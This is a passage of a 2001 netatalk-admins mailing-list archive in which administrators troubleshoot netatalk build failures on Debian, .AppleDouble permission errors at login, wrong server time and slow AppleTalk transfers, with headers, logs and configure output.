Apr 20 09:36:31 ark PAM_pwdb[7908]: (netatalk) session opened for user
jjc33 by (uid=0)
Apr 20 09:36:31 ark afpd[7908]: uams_dhx_pam.c :PAM: PAM Auth OK!: (null)
-- Inappropriate ioctl for device
Apr 20 09:36:31 ark afpd[7908]: login jjc33 (uid 579, gid 550)
Apr 20 09:36:33 ark afpd[7908]: setdirowner: chown -1/0
.AppleDouble/.Parent: Operation not permitted




From netatalk.administrators-errors@umich.edu  Fri Apr 20 08:14:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA24354
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Apr 2001 08:14:09 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA14125
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Apr 2001 08:14:00 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA14116
	for netatalk.administrators-members@umich.edu; Fri, 20 Apr 2001 08:14:00 -0400 (EDT)
Received: from relay.mail.pipex.net (relay.mail.pipex.net [158.43.128.38])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id IAA14101
	for <netatalk-admins@umich.edu>; Fri, 20 Apr 2001 08:13:58 -0400 (EDT)
Received: (qmail 4953 invoked from network); 20 Apr 2001 12:04:30 -0000
Received: from unknown (HELO netpilotbr.broadley.hopkins.co.uk) (62.189.170.1)
  by relay.mail.pipex.net with SMTP; 20 Apr 2001 12:04:30 -0000
Received: from 194.159.148.247 (unknown [194.159.148.247])
	by netpilotbr.broadley.hopkins.co.uk (Postfix) with ESMTP
	id C6CA31A002; Fri, 20 Apr 2001 13:01:22 +0100 (BST)
Date: Fri, 20 Apr 2001 13:03:16 +0100
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Re: Install path problem on Debian
To: Mike Johnson <ffp_randjohnson@yahoo.com>, Jason Quigley <jasonq@mac.com>
Cc: netatalk-admins@umich.edu
X-Priority: 3
Message-ID: <20010420130328-r01010600-d68ba628@194.159.148.247>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)
Sender: campbell-lange@mail.campbell-lange.net

On 19/4/01, ffp_randjohnson@yahoo.com (Mike Johnson) wrote:

> It sounds like you need to run the configure again. Just cd into the
> directory and run ./configure, then run "make clean" and "make
> uninstall".
> 
> I think you still have stuff on your system that needs to be removed.
> Then you can run configure and make again (your configure line looks
> good, but you might want --with-shadow if you're using shadow
> passwords).

Hi Mike

I really must apologise for taking up everyone's time with this.

Thanks for the very clear instructions. The "make uninstall" worked
great. The only thing still left are the system init scripts - I hope
these are ok to leave.

The install is not working now at all.
Below are some of the errors reported from make when using the following
config line:

    ./configure --prefix=/usr --with-config-dir=/etc \
                --with-uams-path=/etc/uams --with-shadow
                
Am I missing some linker config files, or am I using the wrong version
of ld? Or perhaps I need to FIRST make directories such as /etc/uams?

Thanks again for any help
Rory

----------------------------------------------------------------------

Extracts from make output

configure:1333: checking if the linker (/usr/bin/ld) is GNU ld
GNU ld version 2.9.5 (with BFD 2.9.5.0.37)

ltconfig:959: gcc -o conftest -g -O2   -static conftest.c  1>&5
GNU ld version 2.9.5 (with BFD 2.9.5.0.37)

...

configure:2027: checking for main in -labs
configure:2042: gcc -o conftest -g -O2   conftest.c -labs   1>&5
/usr/bin/ld: cannot find -labs
collect2: ld returned 1 exit status
configure: failed program was:
#line 2035 "configure"
#include "confdefs.h"

int main() {
main()
; return 0; }
configure:2070: checking for main in -laudit
configure:2085: gcc -o conftest -g -O2   conftest.c -laudit   1>&5
/usr/bin/ld: cannot find -laudit
collect2: ld returned 1 exit status
configure: failed program was:
#line 2078 "configure"
#include "confdefs.h"

int main() {
main()
; return 0; }
configure:2113: checking for main in -lauth
configure:2128: gcc -o conftest -g -O2   conftest.c -lauth   1>&5
/usr/bin/ld: cannot find -lauth
collect2: ld returned 1 exit status
configure: failed program was:
#line 2121 "configure"
#include "confdefs.h"

...

configure:4602: checking whether setpgrp takes no argument
configure:4630: gcc -o conftest -g -O2   conftest.c -lrpcsvc -lresolv
-lnsl -ldl -ldb -lcrypt  1>&5
configure: In function `main':
configure:4622: too many arguments to function `setpgrp'
configure: failed program was:
#line 4610 "configure"
#include "confdefs.h"

configure:4877: checking for pam_start in -lpam
configure:4896: gcc -o conftest -g -O2   conftest.c -lpam  -lrpcsvc
-lresolv -lnsl -ldl -ldb -lcrypt  1>&5
/usr/bin/ld: cannot find -lpam
collect2: ld returned 1 exit status
configure: failed program was:
#line 4885 "configure"
#include "confdefs.h"
/* Override any gcc2 internal prototype to avoid an error.  */
/* We use char because int might match the return type of a gcc2
    builtin and then its argument prototype would still apply.  */
char pam_start();

int main() {
pam_start()
; return 0; }
configure:5172: checking for sys/quota.h
configure:5182: gcc -E  conftest.c >/dev/null 2>conftest.out

From netatalk.administrators-errors@umich.edu  Fri Apr 20 09:27:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA27648
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Apr 2001 09:27:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA09667
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Apr 2001 09:27:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA09642
	for netatalk.administrators-members@umich.edu; Fri, 20 Apr 2001 09:27:20 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id JAA09605
	for <netatalk-admins@umich.edu>; Fri, 20 Apr 2001 09:27:19 -0400 (EDT)
Received: (qmail 2430 invoked by alias); 20 Apr 2001 13:27:26 -0000
Received: (qmail 2416 invoked by uid 0); 20 Apr 2001 13:27:26 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 20 Apr 2001 13:27:26 -0000
Subject: Re: Inappropriate ioctl ?
From: Matthew Keller <kellermg@potsdam.edu>
To: Ian Hitchman <ih207@hermes.cam.ac.uk>
Cc: netatalk-admins@umich.edu
In-Reply-To: <Pine.SOL.4.33.0104200941320.9413-100000@red.csi.cam.ac.uk>
References: <Pine.SOL.4.33.0104200941320.9413-100000@red.csi.cam.ac.uk>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 20 Apr 2001 09:27:17 -0400
Message-Id: <987773237.1968.23.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


    Which netatalk version?

On 20 Apr 2001 12:08:58 +0100, Ian Hitchman wrote:
> Dear netatalk-admins,
> 
> Could anyone tell me what "Inappropriate ioctl for device" and
> ".AppleDouble/.Parent: Operation not permitted" means on user login?
> Please point me to some documentation as I am a little worried.
> 
> All the best.
> 
> Ian.
> 
> 
> System Redhat 7.0 2.2.16-22 netatalk-1.5pre6-1rh7.i386.rpm
> syslod on user login...
> 
> dhx login: jjc33
> Apr 20 09:36:31 ark afpd[7908]: uams_dhx_pam.c :PAM: PAM Success --
> Function not implemented
> Apr 20 09:36:31 ark PAM_pwdb[7908]: (netatalk) session opened for user
> jjc33 by (uid=0)
> Apr 20 09:36:31 ark afpd[7908]: uams_dhx_pam.c :PAM: PAM Auth OK!: (null)
> -- Inappropriate ioctl for device
> Apr 20 09:36:31 ark afpd[7908]: login jjc33 (uid 579, gid 550)
> Apr 20 09:36:33 ark afpd[7908]: setdirowner: chown -1/0
> .AppleDouble/.Parent: Operation not permitted
> 
> 
> 
> 

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Fri Apr 20 10:55:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA00531
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Apr 2001 10:55:01 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA18065
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Apr 2001 10:54:52 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA17907
	for netatalk.administrators-members@umich.edu; Fri, 20 Apr 2001 10:54:44 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA17871
	for <netatalk-admins@umich.edu>; Fri, 20 Apr 2001 10:54:42 -0400 (EDT)
Received: (qmail 3392 invoked by alias); 20 Apr 2001 14:54:56 -0000
Received: (qmail 3327 invoked by uid 0); 20 Apr 2001 14:54:49 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 20 Apr 2001 14:54:49 -0000
Subject: Re: Inappropriate ioctl ?
From: Matthew Keller <kellermg@potsdam.edu>
To: Ian Hitchman <ih207@hermes.cam.ac.uk>
Cc: netatalk-admins@umich.edu
In-Reply-To: <987773237.1968.23.camel@comp10574.potsdam.edu>
References: <Pine.SOL.4.33.0104200941320.9413-100000@red.csi.cam.ac.uk> 
	<987773237.1968.23.camel@comp10574.potsdam.edu>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 20 Apr 2001 10:54:42 -0400
Message-Id: <987778482.10023.3.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


    Ok, ok, so I missed the version number below. My bad. It's becoming
    reflex to ask, as its seldom provided and the first thing needed to
    know. :)

    This was a problem with pre5 (and some before), but was fixed with
    pre6. Did you install pre6 over a previous "pre"? If so, you're
    probably running a mix of pre6 and preX as the files were put in
    differnt places for pre6.

On 20 Apr 2001 09:27:17 -0400, Matthew Keller wrote:
> 
>     Which netatalk version?
> 
> On 20 Apr 2001 12:08:58 +0100, Ian Hitchman wrote:
> > Dear netatalk-admins,
> > 
> > Could anyone tell me what "Inappropriate ioctl for device" and
> > ".AppleDouble/.Parent: Operation not permitted" means on user login?
> > Please point me to some documentation as I am a little worried.
> > 
> > All the best.
> > 
> > Ian.
> > 
> > 
> > System Redhat 7.0 2.2.16-22 netatalk-1.5pre6-1rh7.i386.rpm
> > syslod on user login...
> > 
> > dhx login: jjc33
> > Apr 20 09:36:31 ark afpd[7908]: uams_dhx_pam.c :PAM: PAM Success --
> > Function not implemented
> > Apr 20 09:36:31 ark PAM_pwdb[7908]: (netatalk) session opened for user
> > jjc33 by (uid=0)
> > Apr 20 09:36:31 ark afpd[7908]: uams_dhx_pam.c :PAM: PAM Auth OK!: (null)
> > -- Inappropriate ioctl for device
> > Apr 20 09:36:31 ark afpd[7908]: login jjc33 (uid 579, gid 550)
> > Apr 20 09:36:33 ark afpd[7908]: setdirowner: chown -1/0
> > .AppleDouble/.Parent: Operation not permitted
> > 
> > 
> > 
> > 
> 
> -- 
> 
> Matthew Keller
> Enterprise System Analyst
> Computing & Technology Services
> Information Services Division
> State University of NY at Potsdam
> Potsdam, NY USA
> 
> http://mattwork.potsdam.edu/
> 
> 

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Fri Apr 20 12:14:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA02863
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Apr 2001 12:14:46 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA15334
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Apr 2001 12:14:46 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA15314
	for netatalk.administrators-members@umich.edu; Fri, 20 Apr 2001 12:14:45 -0400 (EDT)
Received: from yellow.csi.cam.ac.uk (yellow.csi.cam.ac.uk [131.111.8.67])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA15275
	for <netatalk-admins@umich.edu>; Fri, 20 Apr 2001 12:14:44 -0400 (EDT)
Received: from ih207 (helo=localhost)
	by yellow.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1)
	id 14qdYP-00044C-00; Fri, 20 Apr 2001 17:14:41 +0100
Date: Fri, 20 Apr 2001 17:14:41 +0100 (BST)
From: Ian Hitchman <ih207@hermes.cam.ac.uk>
X-X-Sender:  <ih207@yellow.csi.cam.ac.uk>
To: Matthew Keller <kellermg@potsdam.edu>
cc: <netatalk-admins@umich.edu>
Subject: Re: Inappropriate ioctl ?
In-Reply-To: <987778482.10023.3.camel@comp10574.potsdam.edu>
Message-ID: <Pine.SOL.4.33.0104201702460.4359-100000@yellow.csi.cam.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


I had netatalk-1.4b2+asun2.1.4-0.i386.rpm running previously. I removed
this with rpm -e netatalk-1.4b2+asun2.1.4-0 --allmatches
and checked /etc/services for the removal of ddp entries as well removing
/etc/atalk rpm.config? or file of similar name.
After that I simply rpm -i --test netatalk-1.5pre6-1rh7.i386.rpm with
no errors and installed it. I suspect I have not read some documentation
but as to what I do not know.

Ian.




On 20 Apr 2001, Matthew Keller wrote:

>
>     Ok, ok, so I missed the version number below. My bad. It's becoming
>     reflex to ask, as its seldom provided and the first thing needed to
>     know. :)
>
>     This was a problem with pre5 (and some before), but was fixed with
>     pre6. Did you install pre6 over a previous "pre"? If so, you're
>     probably running a mix of pre6 and preX as the files were put in
>     differnt places for pre6.
>
> On 20 Apr 2001 09:27:17 -0400, Matthew Keller wrote:
> >
> >     Which netatalk version?
> >
> > On 20 Apr 2001 12:08:58 +0100, Ian Hitchman wrote:
> > > Dear netatalk-admins,
> > >
> > > Could anyone tell me what "Inappropriate ioctl for device" and
> > > ".AppleDouble/.Parent: Operation not permitted" means on user login?
> > > Please point me to some documentation as I am a little worried.
> > >
> > > All the best.
> > >
> > > Ian.
> > >
> > >
> > > System Redhat 7.0 2.2.16-22 netatalk-1.5pre6-1rh7.i386.rpm
> > > syslod on user login...
> > >
> > > dhx login: jjc33
> > > Apr 20 09:36:31 ark afpd[7908]: uams_dhx_pam.c :PAM: PAM Success --
> > > Function not implemented
> > > Apr 20 09:36:31 ark PAM_pwdb[7908]: (netatalk) session opened for user
> > > jjc33 by (uid=0)
> > > Apr 20 09:36:31 ark afpd[7908]: uams_dhx_pam.c :PAM: PAM Auth OK!: (null)
> > > -- Inappropriate ioctl for device
> > > Apr 20 09:36:31 ark afpd[7908]: login jjc33 (uid 579, gid 550)
> > > Apr 20 09:36:33 ark afpd[7908]: setdirowner: chown -1/0
> > > .AppleDouble/.Parent: Operation not permitted
> > >
> > >
> > >
> > >
> >
> > --
> >
> > Matthew Keller
> > Enterprise System Analyst
> > Computing & Technology Services
> > Information Services Division
> > State University of NY at Potsdam
> > Potsdam, NY USA
> >
> > http://mattwork.potsdam.edu/
> >
> >
>
> --
>
> Matthew Keller
> Enterprise System Analyst
> Computing & Technology Services
> Information Services Division
> State University of NY at Potsdam
> Potsdam, NY USA
>
> http://mattwork.potsdam.edu/
>
>


From netatalk.administrators-errors@umich.edu  Fri Apr 20 12:39:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA04038
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Apr 2001 12:39:39 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA09650
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Apr 2001 12:39:30 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA09630
	for netatalk.administrators-members@umich.edu; Fri, 20 Apr 2001 12:39:28 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA09565
	for <netatalk-admins@umich.edu>; Fri, 20 Apr 2001 12:39:24 -0400 (EDT)
Received: (qmail 9378 invoked by alias); 20 Apr 2001 16:39:40 -0000
Received: (qmail 9366 invoked by uid 0); 20 Apr 2001 16:39:39 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 20 Apr 2001 16:39:39 -0000
Subject: Re: Inappropriate ioctl ?
From: Matthew Keller <kellermg@potsdam.edu>
To: Ian Hitchman <ih207@hermes.cam.ac.uk>
Cc: netatalk-admins@umich.edu
In-Reply-To: <Pine.SOL.4.33.0104201702460.4359-100000@yellow.csi.cam.ac.uk>
References: <Pine.SOL.4.33.0104201702460.4359-100000@yellow.csi.cam.ac.uk>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 20 Apr 2001 12:39:32 -0400
Message-Id: <987784772.10457.3.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


    Cool, thanks. Anyone else having this problem with 1.5pre6? I have
    numerous installs of it now (always compiled from source) and
    haven't seen this one rear its ugly head since pre5. 

    The problem is that the premissions in .AppleDouble are set wrong.
    This may be a legacy problem and setting them manually once will fix
    them (for that folder). Subsequent operations should be ok.

On 20 Apr 2001 17:14:41 +0100, Ian Hitchman wrote:
> I had netatalk-1.4b2+asun2.1.4-0.i386.rpm running previously. I removed
> this with rpm -e netatalk-1.4b2+asun2.1.4-0 --allmatches
> and checked /etc/services for the removal of ddp entries as well removing
> /etc/atalk rpm.config? or file of similar name.
> After that I simply rpm -i --test netatalk-1.5pre6-1rh7.i386.rpm with
> no errors and installed it. I suspect I have not read some documentation
> but as to what I do not know.


-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Fri Apr 20 14:19:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA07093
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Apr 2001 14:19:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA05319
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Apr 2001 14:19:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA05303
	for netatalk.administrators-members@umich.edu; Fri, 20 Apr 2001 14:19:38 -0400 (EDT)
Received: from mail4.wayne.edu ([141.217.1.82])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA05263
	for <netatalk-admins@umich.edu>; Fri, 20 Apr 2001 14:19:37 -0400 (EDT)
Received: from khan (khan.lib.wayne.edu [141.217.84.241])
	by mail4.wayne.edu (Pro-8.9.3/Pro-8.9.3) with SMTP id OAA27894
	for <netatalk-admins@umich.edu>; Fri, 20 Apr 2001 14:19:34 -0400 (EDT)
From: "Ubaidul Khan" <aa9869@wayne.edu>
To: <netatalk-admins@umich.edu>
Subject: netatalk gives wrong time
Date: Fri, 20 Apr 2001 14:21:24 -0400
Message-ID: <GPENJCIKILMIGLJIFCFKEEGKCAAA.aa9869@wayne.edu>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400


Hi

I am running netatalk-1.4b2, on a Linux Mandrake 7.1 and 7.2.  One of our
users connect both of these machines on a regular basis.  The user has been
complaining that the servers time is wrong.

Actually the server time is correct, when the user connected through
ftp/telnet.  This led me to believe that there is a configuration error that
I am making for Netatalk.  But I went through the configuration files, and
there weren't any time zone settings for netatalk.

Please let me know if there is a solution to this problem.



<<<<<<<<<<<<<<----->>>>>>>>>>>>>>
Ubaidul Khan
Senior Systems Administrator
Library Systems and Tech. Services
Wayne State University
313-577-4008


From netatalk.administrators-errors@umich.edu  Fri Apr 20 14:40:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA07709
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Apr 2001 14:40:53 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA13794
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Apr 2001 14:40:53 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA13769
	for netatalk.administrators-members@umich.edu; Fri, 20 Apr 2001 14:40:52 -0400 (EDT)
Received: from VL-MS-MR003.sc1.videotron.ca (relais.videotron.ca [24.201.245.36])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA13737
	for <netatalk-admins@umich.edu>; Fri, 20 Apr 2001 14:40:51 -0400 (EDT)
Received: from amd.analysco.com ([24.202.17.124]) by
          VL-MS-MR003.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with ESMTP id GC3T6U03.32U for <netatalk-admins@umich.edu>; Fri,
          20 Apr 2001 14:40:06 -0400 
Message-Id: <5.0.2.1.2.20010420143426.02402a68@kenobi.iweb-hosting.com>
X-Sender: postmaster%analysco.com@kenobi.iweb-hosting.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Fri, 20 Apr 2001 14:34:32 -0400
To: netatalk-admins@umich.edu
From: Charles Ouimet <charles@analysco.com>
Subject: Expected transfer rate for Appletalk?
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed



Hi all!

Current config:
PowerBook G3 with OS 9.0.4
RedHat 6.1 with kernel 2.4.3 and netatalk-1.4b2+asun2.1.3

Both machines have 100 Mbps interfaces.

I don't get fast transfers between those 2 machines when I copy stuff over 
with AppleTalk...

What sould I expect as transfer rate between those machine? I know that 
AppleTalk couldn't be as fast as FTP (same thing for NetBios in Windows' 
world), but it is *really* slow.... (10 minutes for a 130 Mo file...)

There are 3 machines on the same 10/100 switch => no traffic at all.

I have the same kind of problem with FTP:
When I ftp to my Linux machine using Win2K, I can get 2000-4000Kb/sec...
Using Fetch 4.0 from my G3, I just get 50-200 Kb/sec transfers...

What can I "tweak" on Mac to go faster? Should I recompile netatalk with 
special switches?

Thanx

-C

-----------------------------------------
Charles Ouimet    charles@analysco.com

(514) 577-5614    http://www.analysco.com
-----------------------------------------


From netatalk.administrators-errors@umich.edu  Fri Apr 20 14:42:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA07773
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Apr 2001 14:42:06 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA09531
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Apr 2001 14:42:06 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA09508
	for netatalk.administrators-members@umich.edu; Fri, 20 Apr 2001 14:42:05 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA09445
	for <netatalk-admins@umich.edu>; Fri, 20 Apr 2001 14:42:04 -0400 (EDT)
Received: (qmail 20783 invoked by alias); 20 Apr 2001 18:42:11 -0000
Received: (qmail 20772 invoked by uid 0); 20 Apr 2001 18:42:10 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 20 Apr 2001 18:42:10 -0000
Subject: Re: netatalk gives wrong time
From: Matthew Keller <kellermg@potsdam.edu>
To: Ubaidul Khan <aa9869@wayne.edu>
Cc: netatalk-admins@umich.edu
In-Reply-To: <GPENJCIKILMIGLJIFCFKEEGKCAAA.aa9869@wayne.edu>
References: <GPENJCIKILMIGLJIFCFKEEGKCAAA.aa9869@wayne.edu>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 20 Apr 2001 14:42:00 -0400
Message-Id: <987792120.1633.2.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


    "servers time is wrong" meaning that the timestamps displayed on
    files is wrong?

On 20 Apr 2001 14:21:24 -0400, Ubaidul Khan wrote:
> I am running netatalk-1.4b2, on a Linux Mandrake 7.1 and 7.2.  One of our
> users connect both of these machines on a regular basis.  The user has been
> complaining that the servers time is wrong.
> 
> Actually the server time is correct, when the user connected through
> ftp/telnet.  This led me to believe that there is a configuration error that
> I am making for Netatalk.  But I went through the configuration files, and
> there weren't any time zone settings for netatalk.
> 
> Please let me know if there is a solution to this problem.

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Sat Apr 21 00:46:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA23250
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 21 Apr 2001 00:46:41 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA09083
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 21 Apr 2001 00:46:41 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA09062
	for netatalk.administrators-members@umich.edu; Sat, 21 Apr 2001 00:46:40 -0400 (EDT)
Received: from helios.soho ([63.160.140.7])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA09022
	for <netatalk-admins@umich.edu>; Sat, 21 Apr 2001 00:46:39 -0400 (EDT)
Received: from behemoth.lunar.com (A060-0353.SNFC.splitrock.net [63.253.226.99])
	by helios.soho (8.11.3/8.8.7) with ESMTP id f3L4jv109635;
	Sat, 21 Apr 2001 00:45:57 -0400
Received: from localhost (localhost [[UNIX: localhost]])
	by behemoth.lunar.com (8.11.0/8.11.0) id f3L4jtP07560;
	Fri, 20 Apr 2001 21:45:55 -0700
Content-Type: text/plain;
  charset="us-ascii"
From: Mike Johnson <ffp_randjohnson@yahoo.com>
To: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Re: Install path problem on Debian
Date: Fri, 20 Apr 2001 21:45:54 -0700
X-Mailer: KMail [version 1.2]
Cc: netatalk-admins@umich.edu
References: <20010420130328-r01010600-d68ba628@194.159.148.247>
In-Reply-To: <20010420130328-r01010600-d68ba628@194.159.148.247>
MIME-Version: 1.0
Message-Id: <01042021455400.00664@behemoth.lunar.com>
Content-Transfer-Encoding: 8bit

hmmm.... That's strange.

It looks like you might not be running with pam. It said something like 
"cannot find pam".

I don't use debian with netatalk.... so I don't know. Try this:

[root@behemoth netatalk]# ldconfig -p | grep pam
        libpam_misc.so.0 (libc6) => /lib/libpam_misc.so.0
        libpam_misc.so (libc6) => /lib/libpam_misc.so
        libpam.so.0 (libc6) => /lib/libpam.so.0
        libpam.so (libc6) => /lib/libpam.so
[root@behemoth netatalk]#

If the pam libraries aren't listed, you might either have to configure your 
system to use pam (assuming you want to use it), or find out where they are 
installed and check /etc/ld.so.conf.

hope that helps.

- Mike

On Friday 20 April 2001 05:03, Rory Campbell-Lange wrote:
> On 19/4/01, ffp_randjohnson@yahoo.com (Mike Johnson) wrote:
